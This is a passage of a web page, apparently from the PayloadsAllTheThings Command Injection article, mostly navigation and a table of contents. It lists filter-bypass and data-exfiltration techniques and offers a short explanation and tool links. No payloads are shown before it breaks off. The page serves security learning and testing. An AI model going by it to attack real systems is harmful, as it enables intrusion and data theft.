<span class="md-nav__icon md-icon"></span>
|
||
Type Juggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Type%20Juggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Upload Insecure Files
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Apache .htaccess
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Apache .htaccess
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.htaccess
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_54">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Cache Deception
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_55">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Sockets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Sockets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_56">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XPATH Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XPATH%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_57">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSLT Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSLT%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_58">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSS Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Scripting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Filter Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Polyglot XSS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common WAF Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSP Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS in Angular and AngularJS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XXE Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_59">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XXE Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XXE%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XML External Entity
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_60">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Zip Slip
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Zip%20Slip/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LEARNING AND SOCIALS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_61">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LEARNING AND SOCIALS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Books
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Twitter
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Youtube
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
template vuln
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_62">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
template vuln
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_template_vuln/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Title
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#methodology" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Methodology
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Methodology">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#basic-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Basic Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#chaining-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Chaining Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#argument-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#inside-a-command" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Inside A Command
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#filter-bypasses" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Filter Bypasses
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Filter Bypasses">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-without-space" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Without Space
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-a-line-return" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With A Line Return
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backslash-newline" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backslash Newline
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-tilde-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Tilde Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-brace-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Brace Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-characters-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Characters Filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-characters-filter-via-hex-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Characters Filter Via Hex Encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-single-quote" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Single Quote
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-double-quote" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Double Quote
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backticks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backticks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backslash-and-slash" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backslash and Slash
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With $@
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with_1" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With $()
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-variable-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Variable Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-wildcards" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Wildcards
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Data Exfiltration">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#time-based-data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Time Based Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#dns-based-data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Dns Based Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#polyglot-command-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Polyglot Command Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tricks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tricks
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Tricks">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#backgrounding-long-running-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Backgrounding Long Running Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#remove-arguments-after-the-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Remove Arguments After The Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Labs">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#challenge" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Challenge
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command Injection/README.md" title="Edit this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Command Injection/README.md" title="View source of this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
<h1 id="command-injection">Command Injection</h1>
|
||
<blockquote>
|
||
<p>Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.</p>
|
||
</blockquote>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#tools">Tools</a></li>
|
||
<li><a href="#methodology">Methodology</a><ul>
|
||
<li><a href="#basic-commands">Basic Commands</a></li>
|
||
<li><a href="#chaining-commands">Chaining Commands</a></li>
|
||
<li><a href="#argument-injection">Argument Injection</a></li>
|
||
<li><a href="#inside-a-command">Inside A Command</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#filter-bypasses">Filter Bypasses</a><ul>
|
||
<li><a href="#bypass-without-space">Bypass Without Space</a></li>
|
||
<li><a href="#bypass-with-a-line-return">Bypass With A Line Return</a></li>
|
||
<li><a href="#bypass-with-backslash-newline">Bypass With Backslash Newline</a></li>
|
||
<li><a href="#bypass-with-tilde-expansion">Bypass With Tilde Expansion</a></li>
|
||
<li><a href="#bypass-with-brace-expansion">Bypass With Brace Expansion</a></li>
|
||
<li><a href="#bypass-characters-filter">Bypass Characters Filter</a></li>
|
||
<li><a href="#bypass-characters-filter-via-hex-encoding">Bypass Characters Filter Via Hex Encoding</a></li>
|
||
<li><a href="#bypass-with-single-quote">Bypass With Single Quote</a></li>
|
||
<li><a href="#bypass-with-double-quote">Bypass With Double Quote</a></li>
|
||
<li><a href="#bypass-with-backticks">Bypass With Backticks</a></li>
|
||
<li><a href="#bypass-with-backslash-and-slash">Bypass With Backslash And Slash</a></li>
|
||
<li><a href="#bypass-with-">Bypass With $@</a></li>
|
||
<li><a href="#bypass-with--1">Bypass With $()</a></li>
|
||
<li><a href="#bypass-with-variable-expansion">Bypass With Variable Expansion</a></li>
|
||
<li><a href="#bypass-with-wildcards">Bypass With Wildcards</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#data-exfiltration">Data Exfiltration</a><ul>
|
||
<li><a href="#time-based-data-exfiltration">Time Based Data Exfiltration</a></li>
|
||
<li><a href="#dns-based-data-exfiltration">Dns Based Data Exfiltration</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#polyglot-command-injection">Polyglot Command Injection</a></li>
|
||
<li><a href="#tricks">Tricks</a><ul>
|
||
<li><a href="#backgrounding-long-running-commands">Backgrounding Long Running Commands</a></li>
|
||
<li><a href="#remove-arguments-after-the-injection">Remove Arguments After The Injection</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#labs">Labs</a><ul>
|
||
<li><a href="#challenge">Challenge</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#references">References</a></li>
|
||
</ul>
|
||
<h2 id="tools">Tools</h2>
|
||
<ul>
|
||
<li><a href="https://github.com/commixproject/commix">commixproject/commix</a> - Automated All-in-One OS command injection and exploitation tool</li>
|
||
<li><a href="https://github.com/projectdiscovery/interactsh">projectdiscovery/interactsh</a> - An OOB interaction gathering server and client library</li>
|
||
</ul>
|
||
<h2 id="methodology">Methodology</h2>
|
||
<p>Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.</p>
|
||
<p>The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.</p>
|
||
<p><strong>Example of Command Injection with PHP</strong>: <br />
|
||
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:</p>
|
||
